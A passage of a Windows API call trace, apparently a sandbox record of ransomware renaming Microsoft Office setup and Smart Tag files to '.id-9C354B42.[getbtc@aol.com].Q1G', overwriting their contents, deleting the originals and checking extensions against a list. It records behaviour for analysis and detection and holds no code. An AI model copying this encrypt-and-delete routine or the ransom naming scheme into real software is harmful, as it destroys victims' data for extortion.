[0040.812] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.812] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0040.812] lstrlenW (lpString="SETUP.XML") returned 9 [0040.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0041.561] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1988) returned 1 [0041.561] CloseHandle (hObject=0x1f0) returned 1 [0041.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0041.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0041.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0041.566] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.570] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.575] GetLastError () returned 0x0 [0041.575] ReadFile (in: hFile=0x1f0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0041.595] WriteFile (in: hFile=0x1fc, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0041.596] ReadFile (in: hFile=0x1f0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.596] WriteFile (in: hFile=0x1fc, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.596] SetEndOfFile (hFile=0x1fc) returned 1 [0041.597] CloseHandle (hObject=0x1fc) returned 1 [0041.597] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.597] SetEndOfFile (hFile=0x1f0) returned 1 [0041.598] CloseHandle (hObject=0x1f0) returned 1 [0041.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0041.598] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0041.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.599] lstrlenW (lpString=".doc") returned 4 [0041.599] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.599] lstrlenW (lpString=".docx") returned 5 [0041.599] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.599] lstrlenW (lpString=".pdf") returned 4 [0041.599] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.599] lstrlenW (lpString=".xls") returned 4 [0041.599] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.599] lstrlenW (lpString=".xlsx") returned 5 [0041.599] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.599] lstrlenW (lpString=".ppt") returned 4 [0041.599] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.599] lstrlenW (lpString=".zip") returned 4 [0041.599] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.599] lstrlenW (lpString=".rar") returned 4 [0041.599] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.599] lstrlenW (lpString=".bz2") returned 4 [0041.599] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.599] lstrlenW (lpString=".7z") returned 3 [0041.599] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.599] lstrlenW (lpString=".dbf") returned 4 [0041.599] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.600] lstrlenW (lpString=".1cd") returned 4 [0041.600] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.600] lstrlenW (lpString=".jpg") returned 4 [0041.600] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.600] lstrlenW (lpString=".doc") returned 4 [0041.600] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.600] lstrlenW (lpString=".docx") returned 5 [0041.600] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.600] lstrlenW (lpString=".pdf") returned 4 [0041.600] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.600] lstrlenW (lpString=".xls") returned 4 [0041.600] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.600] lstrlenW (lpString=".xlsx") returned 5 [0041.600] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.600] lstrlenW (lpString=".ppt") returned 4 [0041.600] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.600] lstrlenW (lpString=".zip") returned 4 [0041.600] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.600] lstrlenW (lpString=".rar") returned 4 [0041.600] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.600] lstrlenW (lpString=".bz2") returned 4 [0041.600] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.600] lstrlenW (lpString=".7z") returned 3 [0041.600] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.600] lstrlenW (lpString=".dbf") returned 4 [0041.600] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.601] lstrlenW (lpString=".1cd") returned 4 [0041.601] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0041.601] lstrlenW (lpString=".jpg") returned 4 [0041.601] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.601] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0041.601] lstrlenW (lpString="SETUP.XML") returned 9 [0041.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0042.408] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1608) returned 1 [0042.410] CloseHandle (hObject=0x1d0) returned 1 [0042.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0042.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0042.420] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.420] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.426] GetLastError () returned 0x0 [0042.428] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x648, lpOverlapped=0x0) returned 1 [0042.462] WriteFile (in: hFile=0x200, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x650, lpOverlapped=0x0) returned 1 [0042.463] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.463] WriteFile (in: hFile=0x200, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.463] SetEndOfFile (hFile=0x200) returned 1 [0042.463] CloseHandle (hObject=0x200) returned 1 [0042.464] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.464] SetEndOfFile (hFile=0x1a8) returned 1 [0042.465] CloseHandle (hObject=0x1a8) returned 1 [0042.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0042.465] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0042.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.465] lstrlenW (lpString=".doc") returned 4 [0042.465] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.465] lstrlenW (lpString=".docx") returned 5 [0042.465] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.465] lstrlenW (lpString=".pdf") returned 4 [0042.465] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.465] lstrlenW (lpString=".xls") returned 4 [0042.465] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.465] lstrlenW (lpString=".xlsx") returned 5 [0042.465] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.465] lstrlenW (lpString=".ppt") returned 4 [0042.465] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.465] lstrlenW (lpString=".zip") returned 4 [0042.465] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.465] lstrlenW (lpString=".rar") returned 4 [0042.466] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString=".bz2") returned 4 [0042.466] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString=".7z") returned 3 [0042.466] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.466] lstrlenW (lpString=".dbf") returned 4 [0042.466] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.466] lstrlenW (lpString=".1cd") returned 4 [0042.466] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.466] lstrlenW (lpString=".jpg") returned 4 [0042.466] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.466] lstrlenW (lpString=".doc") returned 4 [0042.466] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString=".docx") returned 5 [0042.466] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.466] lstrlenW (lpString=".pdf") returned 4 [0042.466] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString=".xls") returned 4 [0042.466] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString=".xlsx") returned 5 [0042.466] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.466] lstrlenW (lpString=".ppt") returned 4 [0042.466] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.466] lstrlenW (lpString=".zip") returned 4 [0042.466] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.466] lstrlenW (lpString=".rar") returned 4 [0042.466] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString=".bz2") returned 4 [0042.466] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.466] lstrlenW (lpString=".7z") returned 3 [0042.467] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.467] lstrlenW (lpString=".dbf") returned 4 [0042.467] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.467] lstrlenW (lpString=".1cd") returned 4 [0042.467] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0042.467] lstrlenW (lpString=".jpg") returned 4 [0042.467] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.467] lstrcmpiW (lpString1=".XSL", lpString2=".Q1G") returned 1 [0042.467] lstrlenW (lpString="BASMLA.XSL") returned 10 [0042.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0042.467] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=227311) returned 1 [0042.467] CloseHandle (hObject=0x1a8) returned 1 [0042.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0042.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0042.468] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.468] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.468] GetLastError () returned 0x0 [0042.468] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0042.646] WriteFile (in: hFile=0x200, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0042.650] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.650] WriteFile (in: hFile=0x200, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0042.650] SetEndOfFile (hFile=0x200) returned 1 [0042.650] CloseHandle (hObject=0x200) returned 1 [0042.653] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.653] SetEndOfFile (hFile=0x1a8) returned 1 [0042.655] CloseHandle (hObject=0x1a8) returned 1 [0042.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0042.655] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.655] lstrlenW (lpString=".doc") returned 4 [0042.655] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString=".docx") returned 5 [0042.656] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0042.656] lstrlenW (lpString=".pdf") returned 4 [0042.656] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString=".xls") returned 4 [0042.656] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString=".xlsx") returned 5 [0042.656] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0042.656] lstrlenW (lpString=".ppt") returned 4 [0042.656] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.656] lstrlenW (lpString=".zip") returned 4 [0042.656] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0042.656] lstrlenW (lpString=".rar") returned 4 [0042.656] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString=".bz2") returned 4 [0042.656] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString=".7z") returned 3 [0042.656] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0042.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.656] lstrlenW (lpString=".dbf") returned 4 [0042.656] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.656] lstrlenW (lpString=".1cd") returned 4 [0042.656] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.656] lstrlenW (lpString=".jpg") returned 4 [0042.656] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.656] lstrlenW (lpString=".doc") returned 4 [0042.656] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0042.656] lstrlenW (lpString=".docx") returned 5 [0042.656] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0042.656] lstrlenW (lpString=".pdf") returned 4 [0042.657] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0042.657] lstrlenW (lpString=".xls") returned 4 [0042.657] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0042.657] lstrlenW (lpString=".xlsx") returned 5 [0042.657] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0042.657] lstrlenW (lpString=".ppt") returned 4 [0042.657] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0042.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.657] lstrlenW (lpString=".zip") returned 4 [0042.657] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0042.657] lstrlenW (lpString=".rar") returned 4 [0042.657] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 